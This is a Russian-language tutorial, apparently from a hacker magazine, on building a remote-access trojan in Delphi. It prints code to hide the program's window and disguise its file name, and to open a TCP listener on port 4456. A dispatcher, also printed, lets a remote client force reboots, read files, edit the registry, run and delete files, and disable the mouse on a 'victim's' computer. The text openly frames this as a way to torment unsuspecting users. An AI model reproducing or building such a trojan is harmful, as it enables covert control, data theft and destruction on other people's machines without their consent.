Трояны в последнее время очень актуальны, так как используются повсеместно . А главное очень эффективны и просто не заменимы в натягивании ламерюг . Но обычно все используют уже готовые, непонятно как сделанные и кривые трояны, которые выкачиваются где-то в инете... Но при желании можно написать троян и самому, как именно - читай дальше.
Надоело тянуть файлы с помощью MAPI с удаленного компьютера? Придется писать троян, но уже управляемый по протоколу TCP/IP. Эта статья тебе в этом и поможет. В ней приведены основные приемы, используемые для "изготовления вируса в домашних условиях" в Delphi.
Сразу оговоримся, что не описано в данном материале:
- как пользоваться MAPI и прятать приложение от посторонних глаз (доходи сам или посмотри Хакер намбер 4)
- описания обработки исключительных ситуации (EXCEPTIONS) - try..except..finally и F1
- как сделать крутой юзерский интерфейс (DELPHIDEMOS - там этого добра полно)
- как клепать троян для WinNT/Win2000 (некоторые фичи нашего трояна будут работать под NT, а некоторые - нет, программа рассчитана на 95/98, если разберешься - без проблем будет написать под другие ОС)
Просто если описывать всё, то статья будет весить больше, чем твоя операционная система .
Серверная часть
С чего начать писать троянский вирус - естественно с серверной части (это та, которая отправляется жертве). Отркрываем Дельфи. Если у тебя при входе в Help->About появляется что-то то скорее всего, компиляция пройдет без багов. В остальных случаях приедтся провести "косметический ремонт" из-за несоответствия вресий. Что же нужно хорошему трояну ? Правильно, язык. Он нужен для того, чтобы общаться с клиентской частью. Этот самый язык описан в файле link.pas, который можно найти в архиве. Короче в uses добавляй link.pas. Открыв этот файл, ты увидишь там описание двух классов - TTrojanServerSocket и TTrojanClientSocket. Оба они были переделаны соотвественно из TClientSocket и TServerSocket. Зачем? Метод Create стандартных дельфийских сокетов как параметр использует AOwner: TComponent. В самом методе есть строка inherited Create, означающая вызов Create с обращением к предку, то есть к AOwner. Но в трояне очень часто не бывает формы, и поэтому пришлось переделать описание этих двух классов так, чтобы они не юзали "предка". Класс TTrojanClientSocket был описан на всякий случай - вдруг тебе захочется сделать вирус, который сам кем-нибудь управляет... Нас интересует весьма ограниченный набор возможностей стандартного виндового сокета, а именно чтение/запись события OnConnect/OnDisconnect. Поэтому и обращать внимание стоит только на эти элементы. Можно начинать маскироваться... Куда полез? Форму прибивать? Нет, мы обойдемся без убийств и криминала. Открой файл проекта (*.dpr). Нажми на клавишу View Unit. Выбираешь имя проекта и видишь что-то типа:
program Project1;
uses
Forms,
Unit1 in 'Unit1.pas' {Form1};
{$R *.RES}
begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.Run;
end.
Увидел? Молодец! Теперь между Application.Initialize; и Application.CreateForm(TForm1, Form1); вставь такую строку :
Application.ShowMainForm := False;
Вот тебе и маскировка. Теперь главная форма (Form1 в Unit1) будет существовать, но об этом уже никто не узнает. Даже операционная система, которая не сможет передать фокус невидимому окну . Маленькая загвоздка - операционная система будет прекрасно знать о существовании самого приложения. Догадываешься что делать? Правильно! Лезть на полку за зачитанным до дыр четвертым номером Хакера. Там описано как обмануть 95/98 мастдай. Для энтей или 2000 предложение таково - назови серверную часть как-нибудь типа: sysapp32.exe, только будь внимателен - вдруг такой файл уже существует. Когда троян пропал из поля видимости немного отмороженной таблички CTRL+ALT+DEL'a, можно приступать к действиям "под покровом ночи". "Почему бы не построить весь механизм соединения на TPowersock" - спросишь ты. Были и такие мысли, но потом было решено, что TPowersock не есть рулез. Но и не есть SUXX. В Delphi 5 все компоненты от NetMasters впечатали в так называемые DCU (*.dcu, Delphi Compiled Unit). Delphi их понимает, а программист - нет. Если хочешь, можешь конечно попробовать разобраться в файле в двоичном коде . Поэтому смело варим (объявляем в секции var) переменную типа TTrojanServer. Прежде чем юзать эту переменную, нужно ее заинитить. А вот здесь - стоп! Многие привыкли инициализировать все при событий OnFormShow. Не забудь, что это событие в нашем случае не наступит никогда (Application.ShowMainForm := False). Поэтому все пишем в OnFormCreate. Пусть переменная, которую ты объявил, называется v1. Тогда в OnFormCreate ты должен написать :
v1 := TTrojanServerSocket.Create(nil);
Nil - это указатель на компонент-родитель, которого не существует. Аналог C++ NULL если интересно. Теперь нужно указать порт, по которому троян будет связываться с клиентской частью. Если ты думаешь, что это тоже самое, что COM1, COM2, LPT1 и так далее, то ты ошибаешься. Это порт виндового сокета, номер которого можно выбирать как угодно. Например, можно установить порт равным своему возрасту, или возрасту любимой бабушки. Но учти, что порт 25 занят SMTP, а порт 110 занят POP3. Поэтому лучше скачай себе RFC и выбери там свободный порт. В примере порт равен 4456 :
v1.Port := 4456;
Все готово к приему данных... Вернее почти все. Осталась самая малость - открыть сокет и подготовить его к приему данных. Это можно сделать двумя способами :
1) v1.Open;
2)v1.Active := True;
Теперь тебе нужно подготовить остальные системы трояна к обработке поступившей информации. Сделать это можно используя событие OnClientRead.
v1.OnClientRead := v1.ServRead;
Заметь, что ServRead - это метод, подходящий под определение TSocketNotifyEvent, а не обычная процедура. ServRead, описание которого также приведено в link.pas, автоматически будет связываться с процедурой из другого модуля. Иными словами, при получении данных активизируется событие, к которому мы привязываем механизм отправки поступивших данных в механизм, который их проанализирует. Вот как описан метод ServRead в Link.pas:
procedure TTrojanServerSocket.ServRead(Sender: TObject;
Socket: TCustomWinSocket);
begin
RecognizeCommand(Socket.ReceiveText);
end;
То есть вызывается некая процедура RecognizeCommand, как единственный параметр которой передается полученная информация. К описанию RecognizeCommand мы вернемся поздее. Вот еще одна важная функция:
procedure SendMsgToClient(msg : ShortString);
begin
MainSock.Connections[0].SendText(msg);
end;
Здесь все ясно. Она служит для обратной связи. Через нее идут все данные к клиентской части.
Данные получены, осталось их обработать. Как наименее безболезненно определить, что требуется от виря? Куча if-ов только будет загромождать исходник, а эффективность не такая уж высокая. Намного удобнее использовать индексы команд. Т.е. 1 - команда A, 2 - команда B, 3 - команда C и т.д. Чем проще? А тем, что если команды пронумерованы, можно использовать функцию case. На этом и построена RecognizeCommand (utils.pas). Вот ее код:
procedure RecognizeCommand(Directive : String);
var
cn : Integer;
funcParams : ShortString;
TTU : TTrojanUtilites;
begin
cn := StrToInt(SelectChars(Directive,0,0));
funcParams := SelectChars(Directive,1,Length(Directive));
case cn of
1 : TTU.RestartMachine;
2 : TTU.SendFile(funcParams);
3 : TTU.ReadRegistry(funcParams);
4 : TTU.WriteRegistry(funcParams);
5 : TTU.OperateCD;
6 : TTU.ExecuteFile(funcParams);
7 : TTU.DeleteFile(funcParams);
8 : TTU.DeleteMouse;
9 : TTU.SwapMouseButtons;
else
SendMsgToClient('ERR: Command not recognized or invalid !') ;
end;
end;
Здесь применяется функция SelectChars, описанная в utils.pas. Она выбирает n символов из заданной строки с позиции x. Если программировал(уешь) на Бейсике, то это всего-навсего MID$. Вернемся к RecognizeCommand. Первая строка извлекает из пришедших данных первый символ и переводит его в Integer, чтобы case мог с ним работать. Вторая строка загоняет все остальное в переменную funcparams. Далее идет выбор команды, и соотвественно, выполнение процедуры. Если процедура требует параметры, то ей затыкают рот funcparams. Если пришел 0 или произошла ошибка, то счастливого обладателя клиенсткой части в мягкой форме посылают на . Команда распознана, время действовать! Все утилиты (т.е. то, что умеет делать троян) загнаны в один единственный класс, который "сам себе" на уме. Т.е. у него нет никаких предков. Но в качестве параметра метода Create используется... Правильно, TTrojanServerSocket. Зачем? Чтобы получить возможность отправлять данные клиентской части. Как только RecognizeCommand распознала команду, она тотчас же запускает соотвествующую процедуру. Итак, по списку. Первым номером идет RestartMachine. Эта процедура не церемонится, и как только троян получает строку состоящую из одного символа - "1", перезагружает комп, причем с флагом EWX_FORCE, а это уже варварство... Далее идет SendFile. Сразу оговоримся, что это не SendFile, который присылает письмо с файлом. Это SendFile, который просто присылает n-ное количество строк из файла клиенсткой части. Небольшая задачка. Существует канал для передачи данных. Через него можно передавать строки, содержащие любые символы. Как передать в одной строке несколько параметров (например, 5 в функции WriteRegistry)? Ты наверное скажешь: "Использовать функцию selectChars(), разделительные символы типа | и т.д.". Ты прав, с тобой трудно не согласиться. Но зачем становиться в известную позу, если существует класс, который поможет избежать подобную дребедень? Какой? TStringList. Полезная штука и часто помогает . Ты спросишь: "Как же его тут юзать? У нас же одна строка!". А вот как, весь прикол в том, что существует такой символ, который называется CR/LF. Типа ENTERa - он проходит, идет переход на новую строчку. Достаточно написать:
var
s : String;
begin
s := 'Перевод каретки'+#13#10;
end;
и будет считаться, что последовательность такова: перевод каретки {ENTER}. Понял фишку ? Для тех, кто в танке: в строке можно передовать символ CR/LF, а у TStringList есть свойство Text. То есть если нагрузить кучу параметров в строку, разделенных #13#10, и потом загрузить ее в TStringList, то можно колбасить TStringList.Strings. Так и поступим. Для SendFile первым параметром пустим имя файла, а вторым - количество строк. Тогда полностью вид строки, вызывающей SendFile, будет таким:
s := '2c:file.ext'+#13#10+'10';
Самой функции передастся только 'c:file.ext'+#13#10+'10', поэтому смело создавай в локальном (внутри самой процедуры) var'e временный TStringList и загружай в него эту строчку. Дальше достать любой параметр будет очень просто. Важное замечание - вполне возможно, что в файле меньше строк, чем было запрошено. Тогда SendFile проверит это и пришлет столько строк, сколько есть в файле. Но процедура SendFile менее интересна по сравнению со следующей - WriteRegistry. Вот где бы тебя по-настоящему плющило при работе с разделителями. Считай сам, нужно получить:
1) Root Key (HKEY_LOCAL_MACHINE, например)
2) Key (просто ключ)
3) Название значения
4) Само значение
5) Тип (Integer или DWORD, кому как нравится, Bool(правда/ложь), String)
Целых 5 параметров, которые бы пришлось фильтровать с помощью всяких selectChars. В самой процедуре используется класс TRegistry, дающий возможность работать с системным реестром. Если ключ(Key) не существует, то WriteRegistry создает его. Примерно по такому же принципу работает и ReadRegistry. Следующая функция похоже есть уже во всех троянах, поэтому обойти ее стороной было невозможно. Как приятно бывает удаленно открывать/закрывать CDRom drive, зная, как лезет на стенку владелец затрояненого компа . Доступ к приводу можно осуществить по-разному, но наиболее просто и эффективно будет управлять им с помощью команд подсистемы Multimedia (команды эти описаны в модуле MMSYSTEM). Прежде чем что либо открывать/закрывать, вводить/выводить, надо получить к этому доступ. А как получить доступ? Естественно с помощью MCI_OPEN. Весь доступ/управление системой MCI чем-то похож на стандартные виндовые обращения к окнам. В функции MciSendCommand в качестве параметров передаются: ID устройства, флаги и дополнительные параметры. Чтобы открыть устройство, нужно передать командe MciSendCommand в качестве ID 0, в качестве действия MCI_OPEN, а с помощью TMCI_Open_Parms и Flags то устройство, которое нужно открыть. Но структуру TMCI_Open_Parms лучше предварительно заполнить, чтобы не получить проблем с памятью. Для этого используется FillChar. Открыв CDAudio, можно обращаться к приводу CD-ROM. Sleep(1000) нужен на всякий случай - если система чересчур загружена, то лучше пусть троян подождет результата 1 сек. Далее идет обращение к приводу, заставляющее его открыться. Скорее всего, тот человек, которого ты затроянил, не держит привод открытым. Поэтому, вирус вначале откроет сидюк. Если команда поступит 2 раз, то он его закроет. Но скорее всего, команда поступит раз пятьдесят, чтобы доставить владельцу CD-ROM'a максимум удовольствия . После этого устройство нужно закрыть, иначе вирь или другое приложение, что уже хуже, не получит к нему доступ. Следующая процедура - ExecuteFile. Стоит заметить, что она будет выполнять не только *.exe, *.com, *.bat, но и любые другие файлы, расширения которых знает операционная система. Затем идет DeleteFile. Возможно, стоило немного изменить эту процедуру, но задача стояла написать троян так, чтобы он мог делать все, что в основном требуется "удаленному администратору". Поэтому, пришлось написать DeleteFile так, чтобы она могла удалять файлы, к которым нет доступа в данный момент. То есть эта в функция включает в себя возможность без лишнего шума прибить и сам троян, когда он чересчур надоест. С процедурами DeleteMouse и SwapMouseButtons все тоже ясно. Если ты думаешь, что на этом написание серверной части трояна успешно завершено, ты ошибаешься. Придется еще проинициализировать переменную, тип которой - TTrojanUtilites. Если ты еще не понял как, то ты наверное пролистал часть текста, не чиатая . Короче вот, что надо:
v2 := TTrojanUtilites.Create(v1);
Клиентская часть
Теперь, что делать с клиентской частью... Ее тоже, как ни странно, придется писать . Но здесь проще - ничего проверять не надо, нужно знать лишь синтаксис команд. Никакой маскировки - форма, на ней обычные элементы. Сначала было задумано сделать клиентскую часть на TTrojanClientSocket, но зачем пудрить тебе мозги, если есть TClientSocket? На нем все и сделано. Задача клиентской части состоит в следующем: управлять сервером, а также принимать его сообщения и показывать их. Начнем с создания соединения. В свойстве Port TClientSocket пропиши тот порт, который ты загнал в серверную часть. В примере - 4456. А теперь реши, как ты будешь получать доступ к серверу - через IP или хост. Лучше, конечно, через IP - так быстрее. И поэтому свойство Address TClientSocket поставь равным IPшнику жертвы. Затем TClientSocket.Open и соединение должно быть установленно. Но не забудь про свойство OnRead. Создай небольшой объект TMemo и записывай туда всю информацию, приходящую от трояна.
procedure TForm1.TrojControllerRead(Sender: TObject;
Socket: TCustomWinSocket);
begin
Memo2.Lines.Add(Socket.ReceiveText);
end;
Для команд, касающихся файлов, можно обойтись InputBox'aми, а для работы с реестром лучше создай новую форму. Как связать переменные этих форм надеюсь ты знаешь. Еще раз подчеркну, что пример трояна не претендует на полную функциональность и тотальную безошибочность - он нужен только для того, чтобы продемонстрировать архитектуру подобных программ при работе c TCP/IP. Вообще возьми за правило не использовать чужие исходники, а просматривать их и учиться, как делать. А трояна пиши только сам.
ЗЫ. Если у тебя не оказалось каких-либо заголовочных файлов, попробуй поискать их на wwwdelphi-jedi.org. Там, кстати, есть очень хорошие модули для работы с MAPI, TAPI, DirectX, OpenGL